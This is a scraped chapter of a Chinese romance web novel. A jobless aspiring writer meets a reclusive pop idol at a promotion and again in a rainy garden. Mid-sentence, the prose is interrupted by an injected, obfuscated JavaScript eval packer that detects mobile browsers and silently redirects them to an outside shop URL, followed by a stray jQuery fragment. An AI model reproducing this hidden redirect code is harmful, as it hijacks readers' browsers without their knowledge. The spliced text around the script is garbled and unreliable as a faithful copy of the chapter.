文趣网 > 其他小说 > 捡到一只黏人顶流 > 1. 像个吃不饱的饿鬼
    “裴岑,明天不用来了。”

    客服主管看着她,试图从戴着细框眼镜,没有妆容的脸上找到一点情绪,“我们需要更有活力,更抗压的员工,你不适合。”

    “哦。”她微垂着头,连眼皮都没掀。

    裴岑面无表情地回到工位,摘下工牌,把自己的保温杯,U型枕,一袋没吃完的吐司片,收进已经泛黄的帆布包。

    拉链一拉,毫不留恋,也无人在意。

    走出写字楼时,晚高峰的风卷着深秋特有的萧瑟,直往领口里钻。

    裴岑缩了缩脖子,不想再挤地铁了,拿出手机想打车。

    一条微信消息忽然在上方弹出。

    「@所有人追星的同学们看过来!明天上午森氧·SENYO洗发水活动,代言人卫一野亲临,现场还能领礼物!」

    接着是一个活动详情链接。

    毕业多年,大学同学早就各顾各的,连结婚都只发朋友圈。现在班级群却一下子沸腾,各种表情包和讨论消息刷屏。

    「!!!」

    「行啊学习委员,就知道你混得不错」

    「卫一野真的去吗?简直不敢相信」

    「好可惜,我现在不在省会,不然我明天肯定去」

    裴岑对追星没兴趣,又很久不看热门的影视剧,对卫一野的认知仅在热搜和广告牌。

    但她对礼物有兴趣,洗护套装可以抵两次打车钱了。

    她暗暗记下活动,没有参与他们的聊天。

    翌日早上九点。

    商场里,到处都是卫一野的巨幅海报。他一身极简的黑西装,勾勒出宽肩窄腰的长线条,宽大的手掌拿着瓶身墨绿色洗发水,恰似展示几百万的祖母绿。

    裴岑背着帆布包,戴上蓝色口罩,怕被同学认出来。

    他们都太光鲜亮丽,朋友圈买房的买房,高管的高管,只有她还停留在吐槽毕业答辩。

    但在人山人海的现场,没人戴口罩,也没有震耳欲聋的尖叫。

    只拿着手幅举着灯牌,交头接耳,窃窃私语,场面异常诡异。

    她差点以为是什么大型地下接头组织,听她们小声交流,才知道是卫一野不喜欢粉丝太闹。

    裴岑忍不住看向海报上的男人。

    轮廓略显柔顺,五官俊秀,好似一张没什么攻击性的漂亮面孔,只嘴角微微向下撇,透着一股桀骜不驯的冷戾。

    像个拥有一切,又吃不饱的饿鬼。她在心底冒出这句话。

    随即,她嘲弄地扯了下嘴角。

    人家什么样关她什么事?自己才是那个又失业了,为了两瓶免费洗发水,像沙丁鱼一样挤在这里的穷鬼。

    她垂下眼皮,不再看那张海报,周围的空气却越来越稀薄。

    身边的女孩们都伸长了脖子,脸颊涨红,双眼瞪得极大,死死盯着被黑衣保镖把守,通往休息室的大门。

    哪怕大门后的帘子只稍微晃动了一下,人群就会像海浪一样猛地前倾,发出一阵整齐划一,被生生掐断的吸气声。

    上千人共同屏住呼吸的狂热,像一张密不透风的网,勒得裴岑有些喘不过气,她甚至开始后悔为了几十块钱来遭罪。

    “还要多久啊……”

    生理性的缺氧让她感到一阵反胃,只能先摘了口罩,烦闷地看着手机时间,希望快点进入发礼物的环节。

    终于,主持人的声音陡然拔高了八度。

    “让我们用最热烈的掌声,欢迎森氧品牌代言人——卫一野!”

    那扇被保镖把守的大门,终于缓缓敞开。

    一楼及以上,现场几千名粉丝像受过严格训练的士兵,仅仅挥舞着手中的灯牌,发出一阵压抑而激动的低呼。

    卫一野走了出来。

    他仍身着黑西装,没系领带,领口微敞,露出一截冷白的锁骨。头发被发胶固定得一丝不苟,在商场强烈的顶灯下,整个人像用昂贵材料,精细打磨出来的仿生人偶。

    裴岑隔着攒动的人头,百无聊赖地看去。

    就还行吧,长得跟海报上一样。

    台上,主持人递过话筒,热情洋溢地问起产品体验。

    卫一野接过话筒,露出一个礼貌而不达眼底的微笑,另一只手握着墨绿色的洗发水,语调平淡:“挺好的,很清爽。”

    “卫老师真是言简意赅!”主持人也保持着职业素养的笑容,为了完成kpi拼尽全力。

    “其实我们这款新品主打恋人的味道,如果是卫老师,会想在什么场景下,给心爱的人用这款洗发水呢?”

    卫一野沉默了两秒,看着洗发水,一本正经地说:“头皮痒的时候。”

    “噗嗤。”

    裴岑没忍住,真真切切笑出来,混在粉丝夸赞幽默的哄笑声里,并不突兀,却让自己愣了一下。

    她已经很久没笑过了。

    或者说,很久没有这样轻松,不含任何杂质地笑过了。

    简直像一部放了很久的黑白默片里,突然跳进来一颗彩色的糖果。

    她看着台上那个扑克脸男人,眼睛终于泛起了一圈细微的涟漪。

    主持人又硬聊了几句,对于这种级别的顶流,露个面已经是最大的恩赐,没几分钟,卫一野就在保镖的护送下准备离场。

    与此同时,早已等候多时的工作人员开始在侧边放行,“领礼物的这边排队!扫码关注公众号!”

    裴岑闻言,又迅速把蓝色的口罩重新戴好,扶正眼镜,确保自己就是个毫无存在感的路人甲。

    谁知道这里潜藏着多少同班同学,她可不想被老同学们认出来,哪怕万分之一的概率也不行。

    队伍移动得很快。

    “滴”的一声扫码,关注,核销。

    两瓶50ml的洗发水落入帆布包,轻撞了下包里的雨伞。

    裴岑松了一口气,伸手护住包。

    此时,人群已经抑制不住涌动,试图目送偶像最后的背影。

    “卫一野在那边!快看二楼!”有人尖叫。

    裴岑皱了皱眉,那种窒息的挤压感又来了。她不想看什么二楼,只想离开,去吃点东西。

    搂紧帆布包,她毫不犹豫地转身,逆着人潮,往出口的方向艰难移动。

    活动结束,商场的广播蓦地切到一首古风歌,前奏悠扬却充满力量,在嘈杂的商场中莫名迷离。

    二楼,中庭回廊。

    这一整层已经被安保清场,只留卫一野一行人通过。

    他单手插兜,神色冷淡,路过透明玻璃护栏时,不由向下俯视。

    [1]‖要坠落到多远多深‖

    ‖入永夜或往生‖

    歌声同时响起。黑压压的人头,一张张精心打扮的脸皮,满是欲望和索求的眼睛。

    ‖不愿再见世人眼神‖

    ‖爱我怕我‖

    直到他瞥见一抹蓝色。

    逆流而去的蓝色,不仰头,不朝圣,只搂着帆布包,孤绝地挤开人群。

    一楼赶路的裴岑似有所感,后颈像被猛兽的视线舔舐,带着微微的凉意。

    她不由脚步一停,一扶下滑的眼镜,茫然抬头,向高处望去。

    两道视线,隔着十几米的垂直距离,隔着喧嚣的人海,在半空中撞在一起。

    卫一野的眼神好奇,探究,带着一丝明明灭灭的炽热。

    裴岑的眼神漠然,防备,带着一股倔强而厌世的荒芜。

    全世界寂静了一秒。

    但也仅仅是一秒。

    卫一野若无其事地走向专属电梯,裴岑头也不回地挤出商场大门。

    两人背道而驰,越走越远,广播里的歌却不管不顾唱到高.潮,犹如撒下天罗地网的预言。

    ‖你说相信要信命运偏爱我们‖

    ‖必须一试再试温柔而固执‖

    ………

    十分钟后。

    街边,一家装修简陋的沙县小吃。

    正是饭点,店里很吵。隔壁桌的情侣在因为点菜拌嘴,外卖员对着老板催单高喊。

    裴岑点了一碗馄饨面,一个人坐在角落,手指在微信上划来划去,只划出一片虚无的寂静。

    唯一置顶的工作群,最后一条通知是“你已被移出群聊”。

    她手指顿了顿,想点开某个头像,跟人说点什么今天看到明星了,又或者不知道森氧洗发水好用不的废话。

    但指尖在屏幕上悬了好一会儿,最终还是滑过去。

    算了。

    馄饨面快吃完了,手机忽然“叮”了一声。

    裴岑的心跳漏了一拍,就算是哪个网友要拼多多砍一刀,朋友圈集赞也行。

    她连忙点亮屏幕,却是一封邮件。

    「作者您好,感谢您的来稿。您的小说经过评估,虽然人物鲜明文笔细腻,但商业属性较弱,不符合目前的影视化改编市场,建议明珠另投。」

    也算个找她的消息吧。

    她苦笑一声,关掉页面,不去想这是第几次被拒。

    不过是海投一下,赌一赌罢了,果然还是不行。

    创造一个自己能掌控的世界,这是

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17939557|213855||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    她唯一想活下去做的事了。

    但写小说五年,全职兼职轮着来,在网文网站上,她已经是个“老扑街”,稿费偶尔还不够交房租的。

    吃完最后一口面,裴岑走出小店。

    时间还早,她不想回那个狭小的出租屋,她想找个地方透透气,哪怕只是发发呆。

    不知不觉,她走进了一处开放式的仿古园林。

    位置偏僻,加上并非景点,只有几个遛弯的大爷刚刚散去。

    裴岑沿着石子路,走到了最深处的枯荷池。

    十月底,满池荷花早就败了个干净,大片大片的枯叶铺在池面,茎秆折断,横七竖八地倒伏在淤泥里。

    她放眼望去,有一枝斜插在水中的枯荷,居然还顶着个干瘪的莲蓬,孤零零地立着,宛如向天索问的手势。

    她也蛮想问问苍天的。

    然而苍天无言,只有铅灰色的云层低低压着,酝酿着一场迟来的冷雨。

    裴岑叹了口气,想趁下雨前回去,刚一转身,脚步却顿住了。

    几米开外,一棵梧桐大树下,不知何时多了个男人。

    满地焦黄的落叶里,卫一野一身黑色连帽衫,像个与世隔绝的影子。

    他漫不经心地摘下蓝牙耳机,口罩上沿露出的眼睛微微眯起,整个人却像没骨头似的,垮着肩膀,斜倚在冰冷刺人的假山石上。

    好不容易脱身,他就想在一个没人又能看到天空的地方,跟具尸体一样,稍微烂一会儿。

    以往这种时候,看到还有别人,他早厌恶地一走了之。

    可前面这个女人太安静了。

    她站在枯荷池边,浑身散发着一种灰败的气息,不像那些需要应酬的鲜活人类,倒像池里一株枯萎的荷花。

    双脚就一直钉在原地。

    裴岑心里有些微妙。

    没想到这里还有别人,看他那副颓废的样子,估计也是个孤僻的怪胎吧。

    裴岑抿唇,正想绕开他,豆大的雨点却猛地砸下来。

    她连忙从包里拿出雨伞,余光里,男人烦躁地一抹脸上的雨水,直起身子,狠狠踢飞脚边的石子。

    卫一野眼底一片戾气,把衣服帽子一戴,双手插兜,顶着大雨转身就走。

    他身上没有任何雨具,背影在雨帘中越来越模糊,像宣纸上晕开的墨渍。

    裴岑心里不忍,自己好歹还有把伞。

    “喂……等等!”

    声音被风雨撕得稀碎,可那一瞬卫一野像脑后长了眼睛,又或者捕捉到了某种磁场。

    他忍不住回过头,裴岑正踩着雨水,搂着帆布包,气喘吁吁地追上,像只在雨里扑腾的笨鸟。

    跑到他跟前,裴岑明显身体一屈,微垂着头喘气,手却执拗地将伞举高,向前一伸,“需要吗?”

    卫一野看着她,眼底的戾气散去,下意识拿过伞杆,靠近一步,让裴岑拢在伞下。

    裴岑扶了下眼镜,一指前方,“那有个凉亭,先躲躲。”

    卫一野点头,两人就这样,共撑着一把略显拥挤的小伞。

    雨势如瀑,裴岑缩着肩膀,做好了被淋湿半边的准备。

    可不经意间侧头,顶上那方小小的蓝色伞面,竟然大半都偏向她。

    而身边男人的大半个身子都在伞外,雨水顺着他的衣袖往下淌,他却浑然不觉,只一言不发地握紧伞柄,维持着向她倾斜的角度。

    裴岑心里一软,大概他们这样的怪胎,都有温柔的一面吧。

    两人跌跌撞撞冲进破旧的凉亭。

    大雨被屋檐隔绝,卫一野把伞还给她,裴岑也不收伞,干脆走到凉亭中心,把伞往地下一放。

    与此同时,卫一野摘下湿闷的口罩,把帽子也掀掉,捋了一把额前湿漉漉的碎发,露出那张曝光了无数次的脸。

    裴岑眼里正有点同是天涯沦落人的温情,侧身一看,变成了避之不及的惊恐。

    ……卫一野?!

    卸了妆的他眼底略显乌青,整张脸带着一种粗粝的真实,不像几小时前还在聚光灯下,被保镖层层保护的大明星般遥不可及。

    原来不是天涯沦落人,是个背后跟着舆论和粉丝的大麻烦!

    最讨厌麻烦!

    裴岑直接抄起雨伞,想再往雨里跑。

    就在她即将踏出凉亭时,一只有力的大手一伸,猛地攥住她的手臂,硬生生把她从雨帘边拽回。

    “去哪?”

    [1]:6句歌词出自《你是归处》,由予词作词,陈亦洺作曲,陈亦洺与郭曦阳共同演唱